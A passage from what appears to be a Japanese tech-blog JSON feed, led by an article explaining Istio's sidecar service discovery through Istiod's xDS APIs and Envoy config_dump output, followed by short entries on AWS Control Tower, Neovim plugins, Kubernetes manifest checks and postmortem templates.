を担保するために、マイクロサービスのインスタンスの自動スケーリングを採用します。この時、自動スケーリングのスケールアウトでマイクロサービスが増加するたびに、各インスタンスには新しい宛先情報が割り当てられてしまいます。また、マイクロサービスが作り直された場合にも、宛先情報は更新されてしまいます。このように、たとえインスタンスの宛先情報が更新されたとしても、インスタンスへのリクエストに失敗しない仕組みが必要です。サービスディスカバリーの要素サービスディスカバリーの仕組みは、次の要素からなります。名前解決は、DNSベースのサービスディスカバリー (例:CoreDNS + Service + kube-proxyによるサービスディスカバリー) で必要となり、Istioでは使いません。そのため、本記事では言及しないこととします\uD83D\uDE47\uD83C\uDFFB‍ 要素 責務 送信元マイクロサービス リクエストを送信する。 宛先マイクロサービス リクエストを受信する。 サービスレジストリ 宛先マイクロサービスの宛先情報を保管する。 ロードバランサー 宛先マイクロサービスのインスタンスにロードバランシングする。 名前解決 宛先マイクロサービスへのリクエスト送信時に、名前解決可能にする。 サービスディスカバリーのパターンサービスディスカバリーのパターンとはサービスディスカバリーの実装方法にはいくつか種類があります。Istioのサービスディスカバリーは、このうちのサーバーサイドパターンを実装したものになります。サーバーサイドパターン送信元マイクロサービスから、問い合わせとロードバランシングの責務が切り離されています。送信元マイクロサービスは、ロードバランサーにリクエストを送信します。ロードバランサーは、宛先マイクロサービスの場所をサービスレジストリに問い合わせ、またリクエストをロードバランシングする責務を担っています\uD83D\uDCAA\uD83C\uDFFB(例) Istio、Linkerd、CoreDNS、AWS ALBなどCloud Native Patterns: Designing change-tolerant software (English Edition)Pattern: Server-side service discoveryクライアントサイドパターン通信の送信元マイクロサービスは、宛先マイクロサービスの場所をサービスレジストリに問い合わせ、さらにロードバランシングする責務を担います。(例) NetflixのEureka、kube-proxyなどCloud Native Patterns: Designing change-tolerant software (English Edition)Pattern: Client-side service discoveryService Discovery in Kubernetes: Combining the Best of Two Worlds03. Istioのサービスディスカバリーの仕組みIstioが実装するサービスメッシュには、サイドカープロキシメッシュとアンビエントメッシュがあり、今回はサイドカープロキシメッシュのサービスディスカバリーを取り上げます。Istioのサービスディスカバリーは、discoveryコンテナとistio-proxyコンテナが軸となり、サーバーサイドパターンのサービスディスカバリーを実装します。全体像(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47istio-proxyコンテナは、サービスレジストリへの問い合わせと、ロードバランシングする責務を担っていることに注目してください。(1) kube-apiserverによる宛先情報保管kube-apiserverは、Pod等の宛先情報をetcd等に保管します。これは、Kubernetesの通常の仕組みです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナは、kube-apiserverからPod等の宛先情報を取得し、自身に保管します。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナは、discoveryコンテナからPod等の宛先情報を双方向ストリーミングRPCで取得します。(4) istio-proxyコンテナによるリクエスト受信送信元マイクロサービスがリクエストを送信します。サーバーサイドパターンでの責務通り、送信元マイクロサービスはロードバランサー (ここではistio-proxyコンテナ) にリクエストを送信します。この時、送信元マイクロサービスがistio-proxyコンテナに直接的にリクエストを送信しているというよりは、iptablesがistio-proxyコンテナにリクエストをリダイレクトします。istio-proxyコンテナこれを受信します。(5) istio-proxyコンテナによるロードバランシングistio-proxyコンテナは、リクエストをロードバランシングし、また宛先Podに送信します。Istio in ActionJimmy SongTech-赵化冰的博客 | Zhaohuabing Blogdiscoveryコンテナの仕組み全体像の中から、discoveryコンテナを詳しく見てみましょう。discoveryコンテナは、別名Istiodと呼ばれています。XDS-APIというエンドポイントを公開しており、XDS-APIのうち、サービスディスカバリーに関係するAPIは以下の通りです。今回は詳しく言及しませんが、istio-proxyコンテナがHTTPSリクエストを処理するために、証明書を配布するためのSDS-APIもあります。 APIの種類 説明 LDS-API Envoyのリスナーを取得できる。 RDS-API Envoyのルートを取得できる。 CDS-API Envoyのクラスターを取得できる。 EDS-API Envoyのエンドポイントできる。 ADS-API 各XDS-APIから取得できる宛先情報を整理して取得できる。 Istio in Action(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得XDS-APIとistio-proxyコンテナの間では、gRPCの双方向ストリーミングRPCの接続が確立されています。そのため、istio-proxyコンテナからのリクエストに応じて宛先情報を返却するだけでなく、リクエストがなくとも、XDS-APIからもistio-proxyコンテナに対して宛先情報を送信します。XDS-APIのエンドポイントがいくつかあり、各エンドポイントから宛先情報を取得できます。一方で、各エンドポイントからバラバラに宛先情報を取得すると、Envoy上でこれを整理する時に、宛先情報のバージョンの不整合が起こる可能性があります。そのため、Istioは実際にはADS-APIを使用して宛先情報を取得します。istio-proxyコンテナの仕組み全体像の中から、istio-proxyコンテナを詳しく見てみましょう。Istio in ActionJimmy SongTech-赵化冰的博客 | Zhaohuabing Blog(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナでは、pilot-agentとEnvoyが稼働しています。先ほどistio-proxyコンテナは、双方向ストリーミングRPCでADS-APIから宛先情報を取得すると説明しました。厳密にはEnvoyが、pilot-agentを介して、ADS-APIから双方向ストリーミングRPCで宛先情報を取得します。(4) istio-proxyコンテナによるリクエスト受信istio-proxyコンテナによるリクエスト受信 と同じです。(5) istio-proxyコンテナによるリクエスト受信EnvoyはADS-APIから取得した宛先情報に基づいて、宛先マイクロサービスのインスタンスにロードバランシングします。04. istio-proxyコンテナ内のEnvoyの仕組み全体像EnvoyがADS-APIから取得した宛先情報を見ていく前に、Envoyの処理の流れを解説します。istio-proxyコンテナ内のEnvoyでは、以下の仕組みでHTTPリクエストを処理します。(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47Istio in Action (English Edition)Istio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and ObserveArchitecture Analysis of Istio: The Most Popular Service Mesh Project - Alibaba Cloud Community(1) 送信元マイクロサービスからリクエスト受信istio-proxyコンテナは、送信元マイクロサービスからリクエストを受信します。(2) Envoyによるリスナー選択Envoyは、リクエストの宛先情報 (例:宛先IPアドレス、ポート番号、パス、ホストなど) に応じてリスナーを選びます。(3) Envoyによるルート選択Envoyは、リスナーに紐づくルートを選びます。▶ TCPリクエストを処理する場合についてDebugging Your Debugging Tools: What to do When Your Service Mesh Goes Down | PPT(4) Envoyによるクラスター選択Envoyは、クラスターに紐づくクラスターを選びます。(5) Envoyによるエンドポイント選択Envoyは、クラスターに紐づくエンドポイントを選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイントに対応するインスタンスにリクエストを送信します。Envoyで確認した宛先情報を\uD83D\uDC46に当てはめて見ていくことにしましょう。EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイント実際にEnvoyに登録されている宛先情報は、istio-proxyコンテナ自体のlocalhost:15000/config_dumpからJSON形式で取得できます。もしお手元にIstioがある場合は、Envoyにどんな宛先情報が登録されているか、Envoyを冒険してみてください。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump\\" | yq -P▶ 宛先情報を見やすくするyqコマンドについてyqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dリスナー▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナーは、/config_dump?resource={dynamic_listeners}から確認できます。ここでは、foo-pod内でbar-podのリスナーを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -P▼ 結果以下を確認できました。宛先IPアドレスや宛先ポート番号に応じてリスナーを選べるようになっており、ここでは<任意のIPアドレス>:50002。リスナーに紐づくルートの名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener # リスナー名 name: 0.0.0.0_50002 active_state: version_info: 2022-11-24T12:13:05Z/468 listener: \\"@type\\": type.googleapis.com/envoy.config.listener.v3.Listener name: 0.0.0.0_50002 address: socket_address: # 受信したパケットのうちで、宛先IPアドレスでフィルタリング address: 0.0.0.0 # 受信したパケットのうちで、宛先ポート番号でフィルタリング port_value: 50002 filter_chains: - filter_chain_match: transport_protocol: raw_buffer application_protocols: - http/1.1 - h2c filters: - name: envoy.filters.network.http_connection_manager typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: outbound_0.0.0.0_50001 rds: config_source: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本リスナーに紐づくルートの名前 route_config_name: 50002 ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationルート▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナーは、/config_dump?resource={dynamic_route_configs}から確認できます。ここでは、foo-pod内でbar-podのルートを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。リスナーを取得した時に確認できたルートの名前リクエストのパスやHostヘッダーに応じてルートを選べるようになっているルートに紐づくクラスターの名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig version_info: 2022-11-24T12:13:05Z/468 route_config: \\"@type\\": type.googleapis.com/envoy.config.route.v3.RouteConfiguration # ルートの名前 name: 50002 virtual_hosts: - name: bar-service.bar-namespace.svc.cluster.local:50002 # ホストベースルーティング domains: - bar-service.bar-namespace.svc.cluster.local - bar-service.bar-namespace.svc.cluster.local:50002 - bar-service - bar-service:50002 - bar-service.bar-namespace.svc - bar-service.bar-namespace.svc:50002 - bar-service.bar-namespace - bar-service.bar-namespace:50002 - 172.16.0.2 - 172.16.0.2:50002 routes: - match: # パスベースルーティング prefix: / route: # 本ルートに紐づくクラスターの名前 cluster: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local timeout: 0s retry_policy: retry_on: connect-failure,refused-stream,unavailable,cancelled,retriable-status-codes num_retries: 2 retry_host_predicate: - name: envoy.retry_host_predicates.previous_hosts host_selection_retry_max_attempts: \\"5\\" retriable_status_codes: - 503 max_stream_duration: max_stream_duration: 0s grpc_timeout_header_max: 0s decorator: operation: bar-service.bar-namespace.svc.cluster.local:50002/* ... - \'@type\': type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationクラスター▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスターは、/config_dump?resource={dynamic_active_clusters}から確認できます。ここでは、foo-pod内でbar-podのクラスターを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。ルートを取得した時に確認できたクラスターの名前クラスターに紐づくエンドポイントの親名configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster version_info: 2022-11-24T12:13:05Z/468 cluster: \\"@type\\": type.googleapis.com/envoy.config.cluster.v3.Cluster # クラスターの名前 name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local type: EDS eds_cluster_config: eds_config: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本クラスターに紐づくエンドポイントの親名 service_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentationエンドポイント▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスターは、/config_dump?include_edsから確認できます。ここでは、foo-pod内でbar-podのクラスターを確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。クラスターを取得した時に確認できたエンドポイントの親名bar-podのインスタンスが3個あるため、3個のエンドポイントがありますconfigs: dynamic_endpoint_configs: - endpoint_config: \\"@type\\": type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment # エンドポイントの親名 cluster_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local endpoints: - locality: region: ap-northeast-1 zone: ap-northeast-1a lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.1 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.2 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.3 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 50002 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 policy: overprovisioning_factor: 140 ... - endpoint_config: ...Administration interface — envoy 1.32.0-dev-bfa0e0 documentationConfigDump (proto) — envoy 1.32.0-dev-bfa0e0 documentation▶ Envoyの負荷分散方式についてload_balancing_weightキー値が等しい場合、EnvoyはP2Cアルゴリズムに基づいてロードバランシングします\uD83D\uDC4DEnvoyの処理の流れのまとめ確認できた宛先情報を、Envoyの処理の流れに当てはめてみました。(1) 送信元マイクロサービスからリクエスト受信送信元マイクロサービスは、宛先マイクロサービス (<任意のIP>/:50002) にリクエストを送信します。サイドカーコンテナのistio-proxyコンテナはこれを受信します。(2) Envoyによるリスナー選択Envoyは、リクエストの宛先 (IPアドレス、ポート番号、パス) からPodのリスナー (0.0.0.0_50002) を選びます。(3) Envoyによるルート選択Envoyは、リスナーに紐づくPodのルート (50002) を選びます。(4) Envoyによるクラスター選択Envoyは、クラスターに紐づくPodのクラスター (outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local) を選びます。(5) Envoyによるクラスター選択Envoyは、クラスターに紐づくPodのインスタンスのエンドポイント (11.0.0.X/:50002) を選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイントの宛先にPodのリクエストを送信します。サービスディスカバリーの冒険は以上です⛵05. おわりにIstioの機能の1つである『サービスディスカバリー』の仕組みを、Envoyを交えながらもりもり布教しました。愛が溢れてしまいました。Istioの機能を1つとっても、複雑な仕組みで実現していることがお分かりいただけたかと思います。Istioありがとう\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F謝辞3-shake SRE Tech Talk での発表前後に、以下の方々に発表内容について助言をいただきました。@ido_kara_deru さん@yosshi_ さん@yteraoka さん(アルファベット順)また、今回の 3-shake Advent Calender 2022 は、以下の方々に企画いただきました。@jigyakkuma_ さん@nwiizo さん(アルファベット順)皆様に感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/25/060000","isoDate":"2022-12-24T21:00:00.000Z","dateMiliSeconds":1671915600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Steam Deck に Windows を入れたい方の参考になれば...!","contentSnippet":"この記事は 3-shake Advent Calendar 2022 の24日目の記事です。はじめに年末、しかもクリスマスということで散財させていただきました。初めまして、戸澤といいます。日常…","link":"https://qiita.com/tozastation/items/a57df36a369b5425795a","isoDate":"2022-12-24T08:36:33.000Z","dateMiliSeconds":1671870993000,"authorName":"tozastation","authorId":"tozastation"},{"title":"hop.nvimで直近の検索パターンにホップ","contentSnippet":"本記事はVimアドベントカレンダー2022 その3の21日目の記事です。hop.nvimはeasymotion的な検索対象をラベル付けして、入力されたラベルの場所に飛ぶ系のプラグインです。私はこれまでfモーションの拡張としてしか使ってませんでしたが、/の代替として文字列検索に一致した箇所へホップする機能もあると気付きました。","link":"https://blog.atusy.net/2022/12/21/hop-nvim-gn/","isoDate":"2022-12-21T00:00:00.000Z","dateMiliSeconds":1671580800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubernetesのマニフェストをCIで検査する方針を考える","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 17日目の記事です。https://qiita.com/advent-calendar/2022/3-shake 概要以下の気持ちでKubernetesのマニフェストを検査するツールを選定しました。ベストプラクティスに則りたい細かなレビューの手間を省きたいセキュリティリスクを排除したい保守するのが大変なので出来るだけ自分でポリシーは書きたくない。書くとしても書きやすい方法で記述したい 検査ツールの選定以下のツールからカテゴリ別に選定することにしました。スキーマ検査kubeval...","link":"https://zenn.dev/tayusa/articles/ad9fafa197888b","isoDate":"2022-12-17T03:48:50.000Z","dateMiliSeconds":1671248930000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"もっと良い感じにstyler.nvimでアクティブなウィンドウか否かでカラースキームを変える","contentSnippet":"本記事はVimアドベントカレンダー2022 その3の17日目の記事です。以前、Neovimとstyler.nvimを使ってアクティブウィンドウを目立たせる方法を紹介しました。styler.nvimでアクティブなウィンドウか否かでカラースキームを変える下図のように、注目しているウィンドウが一目瞭然なので気に入ってます。しかし、当時のコードはいくつかの課題を抱えていたので、もう少し洗練させることにしました。","link":"https://blog.atusy.net/2022/12/17/styler-nvim-active-win/","isoDate":"2022-12-17T00:00:00.000Z","dateMiliSeconds":1671235200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CloudWatch Logs のログストリームごとのサイズを取得する","contentSnippet":"動機Amazon CloudWatch Logs のログストリームごとのサイズを知りたいことがありました。たとえば Amazon EKS クラスタを立ち上げて Fluentd または Fluent Bit でログを CloudWatch Logs に送る設定をすると,Pod のログは単一のロググループ(デフォルトでは /aws/containerinsights/Cluster_Name/application)に集約されます。https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/Container-Ins...","link":"https://zenn.dev/toshikish/articles/684e4d7ed4532f","isoDate":"2022-12-16T08:57:33.000Z","dateMiliSeconds":1671181053000,"authorName":"toshikish","authorId":"toshikish"},{"title":"エンジニア市場拡大のための「憧れの職業」の重要性に関する緒論","contentSnippet":"はじめに今回、4年ぶりにQiitaに記事を投稿させていただく。ひょんなきっかけ^1で私は、自身が勤めるスリーシェイクのアドベントカレンダーである3-shake Advent Calendar 2…","link":"https://qiita.com/skikkh/items/21c270c7ff7a942dc5f7","isoDate":"2022-12-16T02:21:05.000Z","dateMiliSeconds":1671157265000,"authorName":"skikkh","authorId":"skikkh"},{"title":"impatient.nvimによるNeovim起動高速化のコツと作者の思想","contentSnippet":"本記事はVimアドベントカレンダー2022の16日目の記事です。lewis6991/impatient.nvimは、Luaのモジュールをバイトコードとしてキャッシュしたり、モジュールに対応するパスをキャッシュすることで、Neovimの起動を高速化します。うまく使うと作者は54ms -> 6msと10倍近くの高速化を果たしていますし、他の最適化と組み合わせて30倍速を達成した例もあります(https://zenn.dev/kawarimidoll/articles/8172a4c29a6653)。プラグインマネージャは任意で、作者はpacker.nvim、後者の例はvim-plug、本記事の筆者はvim-jetpackを使っています。","link":"https://blog.atusy.net/2022/12/16/impatient-nvim/","isoDate":"2022-12-16T00:00:00.000Z","dateMiliSeconds":1671148800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"⛵️ Istioのサービス間通信を実現するサービスディスカバリーの仕組み","contentSnippet":"『3-shake SRE Tech Talk』の登壇資料です\\r\\rIstioのサービスディスカバリーの仕組みについて、Envoyを交えながら解説しました。\\r\\rスライドでは仕組みの詳細を解説できませんでしたので、ぜひ元記事 (Istioのサービス間通信を実現するサービスディスカバリーの仕組み) も参照ください\uD83D\uDC4D\\r\\r\uD83D\uDC26 ツイート:https://x.com/Hiroki__IT/status/1603344099368570880","link":"https://speakerdeck.com/hiroki_hasegawa/istioniyorusahisuteisukaharinoshi-zu-mi","isoDate":"2022-12-15T05:00:00.000Z","dateMiliSeconds":1671080400000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"【Istio⛵️】\\"3-shake SRE Tech Talk\\" に登壇","contentSnippet":"発表スライドから得られる知識発表スライドを見ると、以下を \\"完全に理解\\" できます✌️Istioのサービスディスカバリーの仕組みについて発表スライドから得られる知識イベント名発表スライドイベント名オッス!オラ長谷川!✋\uD83C\uDFFB『Istioのサービス間通信を実現するサービスディスカバリーの仕組み』ていうテーマで、 3-shake SRE Tech Talk に登壇したぞ!発表スライドみんな!スライドぜってぇ見てくれよな!本日の発表資料です!⛵️#SRETThttps://t.co/0MKMYVa77u— 長谷川 広樹 (地下強制労働者) (@Hiroki__IT) December 15, 2022 ちな、発表内容の詳細はこの記事をみてくれよな!","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/15/025523","isoDate":"2022-12-15T03:00:00.000Z","dateMiliSeconds":1671073200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"時間がない人のための AWS Solutions Architect - Professional 勉強法","contentSnippet":"難度が高くしっかりとした準備が必要な AWS SA Pro 試験を申し込んだものの,残された時間があまりないという方向けに書いた勉強法の記事です。 試験の概略 特徴長文の選択式問題が75問出題され,それを180分で解くという長丁場な試験です。ざっくり1問あたり2分24秒かけられます。75問もあり,1問に複数のサービスを関連させられるので,AWS が重点的に問いたいサービス・テーマはもれなく出現します。AWS を使った2年以上の実務経験が想定されていますが,たいていの場合,実務で扱うサービスは主要なサービスに限られ,触ったこともないサービスが多く出題されます。そのため,確...","link":"https://zenn.dev/toshikish/articles/06d85a2db79f4d","isoDate":"2022-12-12T10:46:25.000Z","dateMiliSeconds":1670841985000,"authorName":"toshikish","authorId":"toshikish"},{"title":"AWS Control Towerを調べる","contentSnippet":"これは 3-shake Advent Calendar 2022 10日目の記事です仕事の中でAWSで複数のアカウントを管理したいという要件あり、その中でAWS Control Towerが使えないかなと調べたものをざっくりと書いていきます。AWS Control TowerとはAWS Control TowerとはLanding Zoneを実装するためのAWSのマネージドサービスです。そもそもLanding Zoneって何って話になりますね。Landing Zoneとはセキュリティとコンプライアンスのベストプラクティスに基づきアーキテクチャ設計とマルチアカウント環境を管理する仕組みを指します。Landing Zoneは、下記機能から構成されます。アカウントの発行必要な初期設定の済んだアカウントを作成管理用権限の発行対象アカウントを管理するための権限を作成AWS ログの集約監査用ログをセキュアに一元保存ガードレールの設置実施してはいけない操作の禁止危険な設定の監視Landing Zoneの実装方法AWS Control TowerAWSサービスとして提供される Landing Zoneです。容易に利用可能ですが、カスタマイズするには制限があります。(必須のガードレールを外せなかったり)主にこれからAWSを利用する場合に利用できます。既存アカウントにも適用可能です。独自実装の Landing Zone自組織で独自実装するパターンです。自組織の方針に従って自由にカスタマイズできるのが強みです。ただし、自由にカスタマイズはできますが、自身でメンテナンスしないといけないので、コストはかかります。主に既存アカウントに適用する場合に利用できます。自組織でアカウント発行の仕組みや管理の仕組みができあがってる場合などです。そもそもなんでマルチアカウントにするのかAWSをマルチアカウントにする観点として以下のものが考えられます。環境の分離開発、テスト、本番を分離することによるセキュリティおよび統制の確保請求の分離部門やシステム単位でのコスト明確化権限の分離部門間での権限分離およびアカウントへの権限移譲複雑性の分離アカウントの目的を明確に絞ることで、構成がシンプルになるAWS Organizationsだけでもできることマルチアカウント管理するだけならOrganizationだけでもある程度はできます。むしろAWS Control TowerはOrganizationの機能を利用しています。複数AWSアカウントの一元管理Organization Unit(OU)の作成複数アカウントのグルーピング化AWSアカウントの発行Service Control Policyの作成、OUへの適用複数アカウントの一括請求AWS Control Towerだと何ができるのかControl Towerで提供される機能として以下のものがあります。Landing Zoneの提供AWS Organizationを使用してマルチアカウントを作成デフォルトでSandbox、SecurityのOUを作成AWS IAM アイデンティティセンターを利用したID管理を提供Account FactoryAWSアカウントのプロビジョニングの自動化設定可能なテンプレートを提供CloudTrailとConfigログの保存Log Archiveアカウント内のS3バケットに一元的に保存されるガードレールの提供必須と任意の観点の2種類と予防的と発見的の2種類の組み合わせがありControl Towerにより管理下のアカウントに適用される参考: ガードレールの仕組み予防的ガードレール(Service Control Policy)禁止されたアクションの実行が拒否される仕組みControl Tower管理下のアカウントは必須の予防的ガードレールで禁止されているアクションが不可能発見的ガードレール(Config)特定のイベントが発生したときにCloudTrailに記録される仕組みダッシュボードOUやアカウント、ガードレール違反などが一覧表示できるAWS Control TowerではできないことAWS Control Towerでは提供されてない機能もあります。GuardDutyやSecurity Hubなどのセキュリティ機能を組織全体適用するにはOrganizationsの機能を利用する必要があります。AWS Control Towerの注意点、制約事項いろいろ資料を見てみてこの辺注意が必要かなという点を書いていきます。注意点既存アカウントの Control Tower への受入処理時にエラーになった場合、スタックセット内で自動実行される作業の一部手作業が必要になる参考:トラブルシューティング - AWS Control Tower独自ガードレールの追加は可能だが、容易ではない。必須ガードレールを外せない参考:必須のガードレール - AWS Control Tower各種セキュリティー機能は自動で有効化されないため、Control Towerの範囲外のセキュリティ機能は Control Tower の機能の外で管理が必要になる範囲内の機能: Config, CloudTrail, SCP範囲外の機能: GuardDuty, Security Hub, IAM Access Analyzer, DetectiveControl Tower 未対応リージョンを使用している場合、Control Tower適用リージョンと適用外リージョンが混在して管理が煩雑になる大阪リージョン未対応なのでマルチリージョンを考えるときに注意Control Towerはマネージドサービスであるが追加機能によっては手動バージョンアップ が必要になるケースがある参考: ランディングゾーンを更新する - AWS Control Tower参考: 更新について - AWS Control Towerログアーカイブアカウントで独自のログバケットを作成可能だが、非推奨参考: ランディングゾーンのセットアップに関する管理上のヒントリージョンの使用を制限する SCP の併用に注意が必要参考: AWS Control Tower リソースの作成および変更に関するガイダンスIaC との境界の検討が必要アカウント発行に関してはControl Tower(Account Factory)で手動で行い、その後のアカウント設定はTerraformで行うなどAccount Factory for Terraformを利用することでAWSアカウント発行は可能参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニングどこまでTerraformで対応するかは別途検討が必要制限とクォータS3へのログの保存期間は、最大15年間保存可能(最近アップデートされた)Security OU の共有アカウントの E メールアドレスは変更可能だが、これらの変更を AWS Control Tower コンソールで確認するには、Landing Zone を更新する必要があるAWS Control Tower Landing zone の OU には、OU あたり5個のSCPの制限が適用される300超のアカウントを持つ既存の OU は、AWS Control Tower に登録することはできない300を超える場合はOUを分ける必要があるOUのネストは2段階まで、孫OUを持つことはできない参考: AWS Organizations における組織単位のベストプラクティスAWS Control Towerを使うべきなのかマルチアカウントを展開していくのであれば、AWSのベストプラクティスに乗れるので、使用するのが無難です。ただし、独自のLanding Zoneをすでに構築しており、Account Factoryの仕組みも独自で構築できているのであれば、移行コストを鑑みてそのままでも問題ないです。必須の予防的ガードレールが許容できない、OUなどの制限にひっかるなどの運用上の制約がある場合は使えないので、組織のポリシーを見直すか、独自でLanding Zoneを作るかを考える必要があります。発展もっと調査したかったが、時間が足りなかったことや今後調べたいことです。コンソールからAccount Factory実行するとService Catalogの設定項目がありますが、Service Catalog自体の理解不足でどう扱うのかが把握できてないのでこの辺調べたいです。Account Factory for Terraform(AFT)を使うとアカウント発行そのものもIaC化できるので試したい。参考: AWS Control Tower Account Factory for Terraform によるアカウントのプロビジョニング参考: ついにControl Towerのアカウント発行からカスタマイズまでIaC対応!Account Factory for Terraform (AFT)が新登場 #reinvent | DevelopersIOCustomization for Control Tower(CfCT)を使うとアカウント発行のイベントをトリガーにCloudFormationを実行できるので、これも実験したい。参考: AWS Control Tower のカスタマイズ (CfCT) の概要 - AWS Control Tower参考: Control Towerカスタマイズソリューション(CfCT)を使ってガードレールとCloudFormationを自動展開してみた | DevelopersIOまとめControl Towerについて調べたことを書いていきました。実運用自体はまだしてないので、これから触ってみて知見が溜まってきたらまたそれも共有できたらと思います。","link":"https://blog.masasuzu.net/entry/2022/12/10/204957","isoDate":"2022-12-10T11:49:57.000Z","dateMiliSeconds":1670672997000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"インシデント対応しながら書くポストモーテム","contentSnippet":"このエントリーは 3-shake Advent Calendar 2022 8日目の記事です。サービスにおいてインシデントが発生した場合に書くポストモーテムについて,書く負担を減らせるようなテンプレートを提案します。 ポストモーテムのテンプレートポストモーテムのテンプレートは,例えば以下のようなものが公開されています。 Google SREhttps://sre.google/sre-book/example-postmortem/タイトル・インシデント ID日付対応者ステータス概要影響主な原因障害発生のトリガー解決策検知アクションアイテム...","link":"https://zenn.dev/toshikish/articles/1d5bcf9ed1939d","isoDate":"2022-12-07T22:00:00.000Z","dateMiliSeconds":1670450400000,"authorName":"toshikish","authorId":"toshikish"},{"title":"lego 